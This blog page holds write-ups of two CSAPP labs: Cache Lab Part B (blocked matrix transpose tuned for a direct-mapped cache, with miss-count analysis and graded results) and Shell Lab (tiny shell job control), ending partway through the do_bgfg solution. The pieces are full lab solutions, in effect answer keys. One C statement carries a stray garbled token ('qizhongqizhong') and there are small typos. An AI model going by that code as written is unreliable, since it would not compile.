实验答案托管在我的GitHub

Cache Lab的Part B是我卡了比较久的实验,在7月份做完Part A之后我卡在了Part B的第二个矩阵优化,之后进度一直缓慢。直到几天之前团队分享,我才把这个实验重新捡了回来,最终将第二个矩阵转置优化到了1500+的miss数(尽管仍然没有达到满分),后参考了网上的思路完成了Part B,总结如下。

实验简介

Cache Lab - Understanding Cache Memories主要是有关缓存的实验,对应于书本的第6章:存储器层次结构。主要阐明了缓存对于C语言程序的性能影响。

本实验的第二部分要求优化一个简单的矩阵变换函数,使其具有尽可能晓得缓存不命中数。

关于本实验的具体介绍详见实验讲义

实验要求 - Part B

在Part B中你需要在trans.c中写一个矩阵转置函数,该函数要能有尽可能少的缓存不命中(miss)数。

令A代表一个矩阵,A(i, j)代表矩阵A的第i行第j列的元素。
那么,令B为矩阵A的转置,则对于A中的任意一个元素,满足A(i, j) = B(j, i)。

一个朴素的矩阵转置函数如下:

1
2
3
4
5
6
7
8
9
10
11
void trans(int M, int N, int A[N][M], int B[M][N]) {
int i, j, tmp;

for (i = 0; i < N; i++) {
for (j = 0; j < M; j++) {
tmp = A[i][j];
B[j][i] = tmp;
}
}

}

该函数是正确的,但却并不是高效的,因为其访问模式导致了相当多的缓存不命中。

你的任务是完成一个相似的函数,并对于不同大小的矩阵块(32×32,64×64,61×67),最小化该函数的缓存不命中数。

对于Part B有以下的要求和限制:

  1. 你所写的程序在编译时不能有任何的警告
  2. 在每一个你所写的转置函数中,你最多只能定义12个int型的局部变量
  3. 你不能使用long型的变量或是使用任何的技巧来使得在一个变量中存入多余一个的值
  4. 你的转置函数不能使用递归
  5. 如果你使用辅助函数,那么在同一时刻,你的调用栈上也不能出现超过12个局部变量
  6. 你的转置函数不能修改矩阵A,但是,你能任意的修改矩阵B
  7. 你不能定义任何的数组或是任何使用malloc的变量

实验过程 - Part B

缓存简介

局部性

局部性分为时间局部性和空间局部性——在一个具有良好的时间局部性的程序中,被引用过一次的内存位置可能在不远的将来再被多次引用。在一个具有良好的空间局部性的程序中,如果一个内存位置被引用了,那么程序很可能在不远的将来引用附近的一个内存位置。

一般来说,有良好局部性的程序比局部性差的程序运行的更快。现代计算机系统的各个层次,设计都利用了局部性。

在硬件层,通过高速缓存存储器来保存最近被引用的代码和数据,提高对主存的访问速度。
在操作系统层面,将虚拟内存作为主存和磁盘间高速缓存。
在网络中,主机可以作为代理缓存经常被访问的网页,浏览器也可以缓存最近访问过的页面。

存储器层次结构

我们可以依次地组织不同的存储器,形成一个典型的存储器层次结构。如下图所示。

在该结构中,自高层向底层走,存储设备变得更慢、更便宜和更大。每一层的存储器都作为下一级存储器的缓存。

高速缓存

早期的计算机系统的存储器结构只有3层:CPU寄存器、DRAM主存储器和磁盘存储。随着CPU和主存之间不断加大的差距,系统设计者被迫在寄存器文件和主存之间加入了一个小的SRAM高速缓存处理器,称为L1高速缓存(一级缓存),L1高速缓存的访问速度几乎和寄存器一样快,典型地是约4个时钟周期。

随着CPU和主存之间的性能差距进一步增大,系统设计者在L1缓存和主存之间又加入了一个更大的高速缓存,称为L2高速缓存,可以在约10个时钟周期内被访问到。

有些现代系统还包括有一个更大的高速缓存,称为L3高速缓存,它位于L2高速缓存和主存之间,可以在大约50个时钟周期内被访问到。

组织结构

假定一个计算机系统,其每个存储器地址为m位,那么形成了M = 2 ^ m个不同的地址。

这样一个机器的高速缓存被组织成一个有S = 2 ^ s个高速缓存组(Cache Set)的数组,每个组包含E个高速缓存行(Cache Line)。每个行是由一个B = 2 ^ b字节的数据块(Block)组成的,一个有效位(valid bit)指明这个行是否包含有意义的信息。t = m - (b + s)个标记位(tag bit),它们唯一地标识存储在这个高速缓存行中的块。

一个通用的高速缓存组织结构可以用元组(S, E, B, m)来描述。
高速缓存的大小C指的是所有块(不包括标记位和有效位)的大小的和,C = S × E × B。

一个m位的地址L被组织为3个部分,分别是高t位的标记位,中间s位的组索引以及低b位的块偏移。

L中的s个组索引是一个到S个组的数组的索引,从0开始。其指示了该地址所指示的字应当存储到哪个组中。
L中的t个标记位指明了该组中的哪一行包含这个字。当且仅当有效位为1且行的标记位与地址的标记位相同时,组中的行才包含了这个字。
块偏移b指明了在B个字节的数据块中的字偏移。

分类

根据每个组的高速缓存行数E,高速缓存被分为不同的类:

  • 直接映射高速缓存。直接映射高速缓存中每个组只有一行(E = 1)。
  • 组相连高速缓存。组相连高速缓存放宽了直接映射高速缓存中每个组只有一行的限制(1 < E < C/B)。
  • 全相连高速缓存。全相连高速缓存是由一个包含了所有高速缓存行的组(E = C/B)组成的。

组相连高速缓存引入了不命中时行替换策略的问题。比较常见的策略有最不常使用(LFU)和最近最少使用(LRU)。

由于构造又大又快的相连高速缓存很困难,全相连高速缓存通常只适合做小的高速缓存,如TLB(翻译备用缓冲器)。

高速缓存写

高速缓存写分为直写和写回。

  • 直写,当缓存更新后立刻将相应的高速缓存块写回到下一层存储器中。直写的缺点在于每次写都会引起总线流量。
  • 写回,尽可能地推迟更新,只有当替换算法需要驱逐更新过的块时,才执行写入操作。写回极大地降低了总线流量。但是高速缓存必须对于每一个高速缓存行维护一个额外的修改位(dirty bit)来表明这个高速缓存块是否会修改过。

实验思路

首先要明确,尽管矩阵的转置本身导致对于A矩阵(原始矩阵)的读和B矩阵(转置矩阵)的写不可能同时为连续的(即不可能同时存在连续读和连续写——对A矩阵行的连续读必然导致对B矩阵列的非连续写)。
但只要矩阵的大小小于缓存的总大小,那么在理想的情况下,在最初的强制不命中(即缓存为空导致的不命中)后,整个矩阵都会被加载进入缓存。在这之后的所有对于B矩阵的不连续写的引用都会命中。

在该实验中,缓存采用的是直接映射高速缓存,s = 5,b = 5,E = 1。对于该缓存,总共存在32个组,每个组共32个字节,可以装入8个int型变量,是非常有限的缓存,主要需要解决以下两个问题:

  1. 直接映射缓存所带来的冲突不命中。观察程序中矩阵存储的位置即可以发现,矩阵A和矩阵B的同一行实际上被映射到了同一个缓存组。当进行对角线的引用时,一定会发生缓存的冲突不命中。需要仔细地处理对角线上的元素。
  2. 所需优化的矩阵的总大小超出了缓存的总大小。必然导致程序的访存效率低下。

为了解决第一个问题,我们需要仔细地考虑对于矩阵元素访问的顺序。至于第二个问题,我们采用矩阵的分块技术来降低不命中数。

矩阵分块的目的在于将大的、不能完全加载进入缓存的大矩阵分块成小的、可以完全加载进入缓存的小矩阵块来处理。小矩阵块具有良好的局部性,性能显著增加。
但同时也要注意,分块使得程序的可阅读性大大降低,因此一般只在常用的库函数中采用分块优化。

第一部分 32 × 32矩阵优化

第一部分满分的要求是300个misses以内,misses超过600则0分。

首先对矩阵进行分块处理。为了完全利用每一个缓存快(32个字节)采用8 × 8分块。然后处理对角线的问题。这里我采用的方法是无论是哪一个矩阵分块,均从该矩阵分块的对角线开始处理。同时对于A矩阵(原始矩阵)按列优先(不连续读),对于B矩阵(转置矩阵)按行优先(连续写)。

通过优先处理对角线(a, a)的元素,保证了B矩阵的第a行被载入缓存中,接下来对于A矩阵的列优先处理保证了B矩阵的第a行缓存被充分利用。

对于32 × 32的矩阵,总共存在1024次读和1024次写。对于非对角线的分块(总共12个),其缓存不命中率是1/8(仅强制不命中),对于对角线的分块(总共4个),其写的缓存不命中率是1/8(强制不命中),其读的缓存不命中率为1/4(强制不命中和冲突不命中各一半)。

因此,理论上优化之后的总缓存不命中数为2048 × 0.75 × 0.125 + 1024 × 0.25 × 0.125 + 1024 × 0.25 × 0.25 = 288次。

第一部分优化之后的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
for (a = 0 ; a < N ; a += 8) {
for (b = 0 ; b < M ; b += 8) {
for (c = b ; c < b + 8 ; ++c) {
for (d = a + c - b ; d >= a ; --d) {
B[c][d] = A[d][c];
}
for (d = a + c - b + 1 ; d < a + 8 ; ++d) {
B[c][d] = A[d][c];
}
}
}
}

实际测试的缓存不命中数为287次,与理论值几乎一致。

第二部分 64 × 64矩阵优化

第二部分的满分要求是misses小于1300,当misses大于2000则零分。

第二部分对于misses的要求限制的非常严格,同时如果采用第一部分的8 × 8分块方式会出人意料地带来大量的misses。下面具体分析8 × 8分块导致misses增多的原因。

实验采用的缓存为直接映射高速缓存,s = 5, b = 5, E = 1。对于任意一个地址,其从低地址开始的第0-4位为块偏移b,第5-9为组索引s。

对于32 × 32的矩阵M来说,M[0][1]和M[1][1]之间总共间隔32个int型元素,也就是0x80个字节,也就是说,同一列相邻行的元素之间的地址间隔为0x80 = 0x100|00000。对于8 × 8的矩阵分块而言,其8行可以全部被加载进入缓存中而不发生任何冲突不命中。

然而,对于64 × 64的矩阵,其同一列相邻行的元素之间的地址间隔为0x100 = 0x1000|00000。对于8 × 8的矩阵分块而言,其第1、2、3、4行的元素会和第5、6、7、8行的元素占用相同的高速缓存组,进而出现严重的冲突不命中现象。

使用4 × 4的矩阵分块又无法充分利用每一个高速缓存行(32个字节=8个int数据),仍然无法达到所要求的misses数。

经过大量的尝试,我使用了以下的方法进行矩阵转置的优化:

仍然按照8 × 8对矩阵进行分块,只是在8 × 8的分块内部再按照4 × 4进一步分块,得到左上、右上、左下、右下4个子块。

紧接着依次按照左上、右上、右下、左下的方式处理4个子块(A矩阵)。
对于左上、右下这两个可能出现对角线元素的块,按照第一个矩阵优化的方式进行处理。
右上、左下子块不能简单地按照A矩阵不连续读,B矩阵连续写的方式处理。原因是对于对角线上的8 × 8分块来说,A、B矩阵的左上子块和右下子块占用了相同的高速缓存组,存在着严重的冲突不命中风险。
因此对于右上、左下的子块,我们按照下图的方式处理。

图中,上方的矩阵为矩阵A,下方的矩阵为矩阵B,小方块代表矩阵的元素,黑色方块的表明加载进入临时变量/已写入的元素。红色的线表明该行被缓存。

  1. 利用8个临时变量,将左上子块的前两行加载进入临时变量中,考虑到之前的缓存条件,该次加载的缓存命中。
  2. 将一个小的2×2的矩阵转置写入矩阵B右下子块的前两行,无论是否为对角线上的分块,该次写入一定会发生缓存不命中,同时将B矩阵的前两行载入高速缓存行。
  3. 将矩阵A左上子块的后两行的2×2的矩阵加载进入空闲的4个临时变量中,同之前加载相似,该次加载的缓存命中。
  4. 将刚刚加载的2×2矩阵转置写入B矩阵右下子块前两行的剩余位置,由于之前这两行已经加载进入了高速缓存行,故该次写入的缓存全部命中。
  5. 将矩阵A后两行的剩余元素加载进入空闲的4个临时变量中,缓存命中。
  6. 将8个临时变量中的元素依次转置写入矩阵B右下子块的最后两行中,同2相似,写入一定会发生缓存不命中,同时将矩阵B的后两行载入高速缓存行。

A矩阵左下子块的转置操作类似,这里不再赘述。

在A矩阵右上子块转置完成后,紧接着执行的是右下子块的转置,此时,对于非对角线上的分块而言,写入时的缓存必定命中。对于对角线上的分块,则会发生缓存不命中。

因此,对于64 × 64的矩阵,总共进行4096次读和4096次写,对于非对角线的分块(总共56个),对于A矩阵(原始矩阵而言),其左上、右下分块的不命中率为1/4,左下、右上分块的不命中率为0;对于B矩阵(转置矩阵而言),其左上、右上、左下分块的不命中率均为1/4,右下分块的不命中率为0。对于对角线上的矩阵,其B矩阵不命中率上升至1/4,对于A矩阵,其左上、右下的不命中率上升至1/2。

因此,理论上优化之后的总缓存不命中数为4096 × (8/64) × (1/2 × 1/4 + 0 × 1/4 + 0 × 1/4 + 1/2 × 1/4) + 4096 × (8/64) × 1/4 + 4096 × (56/64) × (1/4 × 1/4 + 0 × 1/4 + 0 × 1/4 + 1/4 × 1/4) + 4096 × (56/64) × (1/4 × 1/4 + 1/4 × 1/4 + 0 × 1/4 + 1/4 × 1/4) = 1376次。

该优化方法对应的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
for (a = 0 ; a < M ; a += 8) {
for (b = 0 ; b < N ; b += 8) {
for (c = a ; c < a + 4 ; ++c) {
for (d = b + c - a ; d >= b ; -- d) {
B[c][d] = A[d][c];
}
for (d = b + c - a + 1; d < b + 4 ; ++d) {
B[c][d] = A[d][c];
}
}

tmp0 = A[b][a + 4];
tmp1 = A[b][a + 5];
tmp2 = A[b][a + 6];
tmp3 = A[b][a + 7];
tmp4 = A[b + 1][a + 4];
tmp5 = A[b + 1][a + 5];
tmp6 = A[b + 1][a + 6];
tmp7 = A[b + 1][a + 7];
B[a + 4][b] = tmp0;
B[a + 4][b + 1] = tmp4;
B[a + 5][b] = tmp1;
B[a + 5][b + 1] = tmp5;
tmp0 = A[b + 2][a + 4];
tmp4 = A[b + 2][a + 5];
tmp1 = A[b + 3][a + 4];
tmp5 = A[b + 3][a + 5];
B[a + 4][b + 2] = tmp0;
B[a + 4][b + 3] = tmp1;
B[a + 5][b + 2] = tmp4;
B[a + 5][b + 3] = tmp5;
tmp0 = A[b + 2][a + 6];
tmp4 = A[b + 2][a + 7];
tmp1 = A[b + 3][a + 6];
tmp5 = A[b + 3][a + 7];
B[a + 6][b] = tmp2;
B[a + 6][b + 1] = tmp6;
B[a + 6][b + 2] = tmp0;
B[a + 6][b + 3] = tmp1;
B[a + 7][b] = tmp3;
B[a + 7][b + 1] = tmp7;
B[a + 7][b + 2] = tmp4;
B[a + 7][b + 3] = tmp5;

for (c = a + 4; c < a + 8 ; ++c) {
for (d = b + c - a ; d >= b + 4 ; --d) {
B[c][d] = A[d][c];
}
for (d = b + c - a + 1 ; d < b + 8 ; ++d) {
B[c][d] = A[d][c];
}
}

tmp0 = A[b + 6][a];
tmp1 = A[b + 6][a + 1];
tmp2 = A[b + 6][a + 2];
tmp3 = A[b + 6][a + 3];
tmp4 = A[b + 7][a];
tmp5 = A[b + 7][a + 1];
tmp6 = A[b + 7][a + 2];
tmp7 = A[b + 7][a + 3];
B[a + 2][b + 6] = tmp2;
B[a + 2][b + 7] = tmp6;
B[a + 3][b + 6] = tmp3;
B[a + 3][b + 7] = tmp7;
tmp2 = A[b + 4][a + 2];
tmp3 = A[b + 4][a + 3];
tmp6 = A[b + 5][a + 2];
tmp7 = A[b + 5][a + 3];
B[a + 2][b + 4] = tmp2;
B[a + 2][b + 5] = tmp6;
B[a + 3][b + 4] = tmp3;
B[a + 3][b + 5] = tmp7;
tmp2 = A[b + 4][a];
tmp3 = A[b + 4][a + 1];
tmp6 = A[b + 5][a];
tmp7 = A[b + 5][a + 1];
B[a][b + 4] = tmp2;
B[a][b + 5] = tmp6;
B[a][b + 6] = tmp0;qizhongqizhong
B[a][b + 7] = tmp4;
B[a + 1][b + 4] = tmp3;
B[a + 1][b + 5] = tmp7;
B[a + 1][b + 6] = tmp1;
B[a + 1][b + 7] = tmp5;
}
}

实际测试的缓存不命中数是1379次。

到了这里我已经优化到了极限,但是依然没有达到满分,最后参考了网上的满分答案。
这里要注意到,实验讲义中说的很清楚,不允许修改矩阵A,但是矩阵B可以任意修改。因此,我们可以通过在矩阵B中暂存转置的结果来充分利用缓存,进一步降低缓存不命中数。思路如下图。

  1. 按行加载矩阵A,并且将其存入矩阵B。依次执行4次,直到整个分块的上半部分处理完毕。其中,每行的前4个元素被正确转置,后四个元素被暂存至矩阵B的右上分块。
  2. 对于分块的下半部分的第一行,先将矩阵B的右上分块的4个元素载入至临时变量,然后从矩阵A中的左下分块读取第一列并转置进入矩阵右上分块的第一行,然后将读出的4个元素存入矩阵B右下分块的第一行,最后再将矩阵A右下分块第一列转置送入矩阵B右下分块的第一行。
  3. 按照2的方式依次处理完下半部分的所有行。

对于一个8×8的分块而言,过程1处理了分块的上半部分,共执行了32次读和32次写。对于对角线上的分块,其读不命中率为1/8,写不命中率为1/4;对于非对角线上的分块,其读不命中率为1/8,写不命中率为1/8。过程2和3处理了分块的下半部分包括将矩阵B的右上子块移动到正确位置,将矩阵A的左下子块转置到B的右上子块以及矩阵A右下子块的转置,共执行了48次读和48次写。对于对角线上的分块,其读不命中率为1/3,写不命中率为1/4;对于非对角线上的分块,其读不命中率为1/12,写不命中率为1/12。

因此对于56个非对角线分块以及8个对角线分块,理论上优化后的总缓存不命中数为(32 × 1/8 + 32 × 1/8) × 56 + (32 × 1/8 + 32 × 1/4) × 8 + (48 × 1/12 + 48 × 1/12) × 56 + (48 × 1/3 + 48 × 1/4) × 8 = 1216次。

该优化方法的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
for (a = 0 ; a < N ; a += 8) {
for (b = 0 ; b < M ; b += 8) {
for (c = b ; c < b + 4 ; ++c) {
tmp0 = A[c][a];
tmp1 = A[c][a + 1];
tmp2 = A[c][a + 2];
tmp3 = A[c][a + 3];
tmp4 = A[c][a + 4];
tmp5 = A[c][a + 5];
tmp6 = A[c][a + 6];
tmp7 = A[c][a + 7];
B[a][c] = tmp0;
B[a + 1][c] = tmp1;
B[a + 2][c] = tmp2;
B[a + 3][c] = tmp3;
B[a][c + 4] = tmp4;
B[a + 1][c + 4] = tmp5;
B[a + 2][c + 4] = tmp6;
B[a + 3][c + 4] = tmp7;
}
for (c = a + 4 ; c < a + 8 ; ++c) {
tmp0 = B[c - 4][b + 4];
tmp1 = B[c - 4][b + 5];
tmp2 = B[c - 4][b + 6];
tmp3 = B[c - 4][b + 7];

B[c - 4][b + 4] = A[b + 4][c - 4];
B[c - 4][b + 5] = A[b + 5][c - 4];
B[c - 4][b + 6] = A[b + 6][c - 4];
B[c - 4][b + 7] = A[b + 7][c - 4];

B[c][b] = tmp0;
B[c][b + 1] = tmp1;
B[c][b + 2] = tmp2;
B[c][b + 3] = tmp3;

B[c][b + 4] = A[b + 4][c];
B[c][b + 5] = A[b + 5][c];
B[c][b + 6] = A[b + 6][c];
B[c][b + 7] = A[b + 7][c];
}
}
}

实际测试的缓存不命中数是1219次。

第三部分 61 × 67矩阵优化

由于61 × 67的矩阵不是方阵,不方便定量分析。同时限制放的比较宽松,满分misses小于2000,misses大于3000零分。因此无需考虑处理对角线,仅尝试换用不同的边长分块即可。16 × 16的分块已可以保证满分。

第三部分优化之后的代码如下:

1
2
3
4
5
6
7
8
9
for (a = 0 ; a < N ; a += 16) {
for (b = 0 ; b < M ; b += 16) {
for (c = b ; (c < b + 16) && (c < M) ; ++c) {
for (d = a ; (d < a + 16) && (d < N) ; ++d) {
B[c][d] = A[d][c];
}
}
}
}

实际测试的缓存不命中数是1847次。

实验结果

自动评分脚本给出的输出如下:

1
2
3
4
5
6
7
Cache Lab summary:
Points Max pts Misses
Csim correctness 27.0 27
Trans perf 32x32 8.0 8 287
Trans perf 64x64 8.0 8 1219
Trans perf 61x67 10.0 10 1847
Total points 53.0 53

实验总结

这次实验花费了我很久时间,最后还是参考了网上的解法并且花了很大精力去理解,实验给出的缓存条件非常苛刻,但同时也方便了定量分析。完成后确实大大加深了我对于缓存的理解。

这次实验中我认为比较重要/难的地方:一是对于缓存的理解以及矩阵元素在缓存中的排布问题;二是位于对角线上的分块不仅是内部而且在分块间存在的冲突不命中问题;三是虽然是矩阵,但是也要明确统一控制行列的变量。

评论和共享

实验答案托管在我的GitHub

这一个月一来一直在看《深入理解计算机系统》的后几章,终于全部看完了(除了第4章:处理器体系结构外)。然后开始集中处理实验,以下是Shell Lab的实验解答。

实验简介

Shell Lab - Writing Your Own Unix Shell主要是有关于进程、信号以及异常处理的实验,对应于书本的第8章:异常控制流。主要通过实现一个带作业控制的Unix Shell来熟悉进程以及信号的概念。

本实验已经给出了Tiny Shell的源程序的基本框架(tsh.c),你需要做的是填充该框架中的eval builtin_cmd do_bgfg waitfg sigchld_handler sigint_handler sigtstp_handler等函数。使得编译后的Shell具有相应的功能。

关于本实验的具体介绍详见实验讲义

Shell介绍

Shell是一个代表用户运行程序的命令行解释器。一个Shell周期性的打印一个提示符,从标准输入流等待一条命令行输入,然后根据命令行的输入执行相应的功能。

一条命令行输入是由空格分隔ASCII文本词(words)。命令行输入的第一个词要不然是一个内建命令(built-in command)要不然是一个可执行文件的路径。剩余的词是命令行参数。如果第一个词是内建命令,Shell立刻在当前进程中执行该命令。否则,词会被假设为一个可执行程序的路径。在这种情况下,Shell会fork出一个子进程,在子进程的上下文中加载并运行这个程序。被创建的子进程被称作任务(job)。总的来说,一个任务可以包含通过Unix管道(Unix Pipe)连接的多个子进程。

如果命令行输入以'&'结尾,那么这个任务将会在后台执行,这意味着Shell在打印下一个提示符并等待下一条命令行输入之前不会等待当前任务终止。在默认情况下,任务运行在前台,这意味这Shell在下一条命令行输入之前会等待当前任务终止。在任何的情况下, 只能有一个任务运行在前台,但是,可以有多个任务运行在后台。

例如,输入tsh> jobs使得Shell执行内建的jobs命令,输入tsh> /bin/ls -l -d则在前台运行ls程序,同时,这个程序的argc == 3,argv[0] == “/bin/ls”a,argv[1] == “-l”,argv[2] == “-d”。相应地,输入tsh> /bin/ls -l -d &则会在后台运行ls程序。

Unix Shell支持作业控制的概念,这允许用户将任务在前台和后台间来回移动,并且改变一个任务中进程的状态(运行,停止,终止)。按下ctrl-c将会发送SIGINT信号到当前前台任务的每一个进程中。按下ctrl-z将会发送SIGTSTP信号到前台任务的每一个进程中,SIGTSTP信号的默认功能是将进程设置为停止状态,直到其被一个SIGCONT信号唤醒。Unix Shell提供了不同的内建命令来支持作业控制,如:

  • jobs - 打印运行的和停止的后台任务
  • bg - 将一个停止的后台任务转变为一个运行的后台任务
  • fb - 将一个运行的或是停止的后台任务转变为一个运行的前台任务
  • kill - 终止一个任务

实验要求

所实现的tsh shell应当具有如下的特性:

  • 提示符应当为"tsh> "
  • 用户的命令行输入应当包括一个名字和0个或多个参数,均由一个或多个空格隔开。如果名字是一个内建命令,那么tsh应当立刻处理它并且等待下一个命令行输入。否则,tsh就会假设它是一个可执行文件的路径,并且在一个独立的子进程中加载并执行它
  • tsh不需要支持管道(|)和I/O重定向(>和<)
  • 按下ctrl-c(ctrl-z)将会导致一个SIGINT(SIGTSTP)信号被发送至当前的前台任务,如果现在没有前台任务,那么这些信号将没有效果
  • 如果命令行输入以一个'&'结束,那么tsh将会在后台运行这个任务,否则它会在前台运行这个任务
  • 每一个任务都可以被一个进程ID(PID)或是一个被tsh分配的正整数的任务ID(JID)唯一的标识。JIDS可以被前缀'%'标识,例如,'%5'就代表了JID 5,而'5'就代表了PID 5
  • tsh应当提供如下的内建命令:
    • quit命令直接终止shell
    • jobs命令列出所有在后台运行的任务
    • bg 命令通过给发送SIGCONT信号将其重启,然后将其在后台运行。参数既可以是一个PID,也可以是一个JID
    • fg 命令通过给发送SIGCONT信号将其重启,然后将其在前台运行。参数既可以是一个PID,也可以使一个JID
  • tsh应当回收它的所有僵死子进程。如果任何任务因为收到了一个未被捕获的信号而终止,那么tsh应当识别对应的事件并且输出相应的信息

实验评测

  1. 参考答案 - 实验提供了一个作为参考的tshref可执行文件作为tsh的参考。你的tsh应当提供和tshref一致的输出(除了PIDs以外)
  2. Shell驱动 - sdriver.pl程序将shell作为一个子进程来执行,根据trace file来向它发送命令和信号,并且将shell的输出捕获并输出。实验总共提供了16个trace file。关于sdriver的具体用法请参考实验讲义。

实验提供了tshref.out作为16个trace file在tshref程序下的参考输出。为了方便比较,写了一个小的(可能会有很多错误)的shell脚本gather_output.sh用来生成这些trace file在tsh下的输出,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin bash

output_file=tsh.out

echo "" > tsh.out

echo -e "\n" >> tsh.out

for trace_file in ./*.txt
do
echo -e "`./sdriver.pl -t $trace_file -s ./tsh -a "-p"`" >> tsh.out
done

echo -e "\n" >> tsh.out

实验思路

最早在做这个实验的时候一直没有什么头绪,即使已经参考了实验讲义,使用trace file来指导编程(trace file的难度自简单到复杂)。后来还是先好好的阅读了一遍给出的框架源代码,整理如下。

框架代码分析

描述
MAXLINE 定义了命令行1行允许的最大字符数 1024
MAXARGS 定义了命令行所允许的最大参数个数 128
MAXJOBS 定义了命令行同一时间允许的最多任务个数 16
MAXJID 定义了最大的任务ID 1<<16
UNDEF 未定义的状态 0
FG 任务运行在前台 1
BG 任务运行在后台 2
ST 任务停止 3

允许如下的状态转换
FG -> ST : ctrl-z
ST -> FG : fg命令
BG -> FG : fg命令
ST -> BG : bg命令

结构体

1
2
3
4
5
6
struct job_t {              //任务
pid_t pid; //任务的PID
int jid; //任务JID [1, 2, ...]
int state; //状态 - 包括UNDEF, BG, FG, ST
char cmdline[MAXLINE]; //对应的命令行输入
};

全局变量

变量名 变量类型 描述
environ char ** 定义在libc中 环境变量
prompt char[] 命令行提示符
verbose int 为1时输出额外信息
nextjid int 下一个待分配的JID
subf char[MAXLINE] 用于生成sprintf信息
jobs struct job_t [MAXJOBS] 全局任务表

函数列表

函数名 函数原型 描述
parseline int parseline(const char *cmdline, char **argv) 接收命令行输入以及参数列表,解析输入并且将解析到的参数存入参数列表,并且判断该命令是否以’&’结尾,是则返回1,否则返回0
sigquit_handler void sigquit_handler(int sig) SIGQUIT的信号处理函数
clearjob void clearjob(struct job_t *job) 将对应任务的PID,JID清零,状态设置为UNDEF,并且将命令行输入清空
initjobs void initjobs(struct job_t *jobs) 将任务列表中的所有任务清空
maxjid int maxjid(struct job_t *jobs) 返回任务列表中的最大JID
addjob int addjob(struct job_t jobs, pid_t pid, int state, char cmdline) 将给定任务添加至任务列表,如果nextjid超过了MAXJOBS,则将其重置为1
deletejob int deletejob(struct job_t *jobs, pid_t pid) 将对应任务从任务列表中删除,并将nextjid自增1
fgpid pid_t fgpid(struct job_t *jobs) 返回当前前台任务的PID,如果没有则返回0
getjobpid struct job_t getjobpid(struct job_t jobs, pid_t pid) 按照pid查询任务 如果没有则返回NULL
getjobjid struct job_t getjobjid(struct job_t jobs, int jid) 按照jid查询任务 如果没有则返回NULL
pid2jid int pid2jid(pid_t pid) 根据pid返回其jid,没有则返回0
listjobs void listjobs(struct job_t *jobs) 打印任务队列
usage void usage(void) 打印帮助信息
unix_error void unix_error(char *msg) 打印系统级错误信息并结束进程
app_error void app_error(char *msg) 打印应用级错误信息并结束进程
Signal handler_t Signal(int signum, handler_t handler) signal的包装函数
eval void eval(char *cmdline) 求值函数
builtin_cmd int builtin_cmd(char **argv) 处理内建函数
do_bgfg void do_bgfg(char **argv) 实现内建的bg和fg
waitfg void waitfg(pid_t pid) 等待前台的任务完成
sigchld_handler void sigchld_handler(int sig) SIGCHLD的信号处理程序
sigtstp_handler void sigtstp_handler(int sig) SIGTSTP的信号处理程序
sitint_handler void sigint_handler(int sig) SIGINT的信号处理程序

实验答案

为了简化篇幅,这里只附上几个相关的函数,已实现函数以及包装函数等就不一并附上。如有需要可以去GitHub中查看。

实验答案为我自己的实验解法,很可能不是最优解法,请不要直接抄袭。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
void eval(char *cmdline)
{
char * argv[MAXARGS];
char buf[MAXLINE];
int bg; /* if run in background */
pid_t pid;

sigset_t mask_all, mask_chld, prev_chld;

/*initialize signal sets*/
Sigfillset(&mask_all);
Sigemptyset(&mask_chld);
Sigaddset(&mask_chld, SIGCHLD);

strcpy(buf, cmdline);
bg = parseline(buf, argv); /* parse the command line */
if (argv[0] == NULL) {
return;
} /* handles if there is empty input */

if (!builtin_cmd(argv)) { /* if the command line is builtin command */
Sigprocmask(SIG_BLOCK, &mask_chld, &prev_chld); /* block SIGCHLD to avoid potential race between addjob and deletejob */
if ((pid = Fork()) == 0) {
Setpgid(0, 0); /* give the child process a new group id to handle SIGINT correctly */
Sigprocmask(SIG_SETMASK, &prev_chld, NULL); /* unblock SIGCHLD */
Execve(argv[0], argv, environ);
}
Sigprocmask(SIG_BLOCK, &mask_all, NULL); /* mask all signals to avoid potential races */
addjob(jobs, pid, bg + 1, cmdline); /* add job to joblist */
Sigprocmask(SIG_SETMASK, &prev_chld, NULL);
if (!bg) { /* if the process should be exeuted in foreground */
waitfg(pid); /* fg wait explictly */
} else {
printf("[%d] (%d) %s", pid2jid(pid), pid, cmdline); /* bg print message*/
}
}

return;
}

int builtin_cmd(char **argv)
{
/* handles the builtin command in current context */
if (!strcmp(argv[0], "quit")) {
exit(0); /* quit: exit directly*/
}
if (!strcmp(argv[0], "jobs")) {
listjobs(jobs); /* jobs: print the current job list */
return 1;
}
if (!strcmp(argv[0], "bg") || !strcmp(argv[0], "fg")) {
do_bgfg(argv); /* bg|fg: handles in function do_bgfg */
return 1;
}
if (!strcmp(argv[0], "&")) {
return 1; /* returns 1 for empty & */
}
return 0; /* not a builtin command */
}

void do_bgfg(char **argv)
{
int number = 0; /* used to store the converted number */
char * ptr = argv[1]; /* get the pointer to argument 1 */
char * endptr = NULL; /* used for error handling */
struct job_t * job = NULL; /* used to store job pointer */
if (!argv[1]) { /* returns if missing argument */
printf("%s command requires PID or %%jobid argument\n", argv[0]);
return;
}
if (*ptr == '%') { /* if argument 1 is job ID */
ptr++; /* adjust pointer */
number = strtol(ptr, &endptr, 10);
if (ptr == endptr) { /* handles convert error */
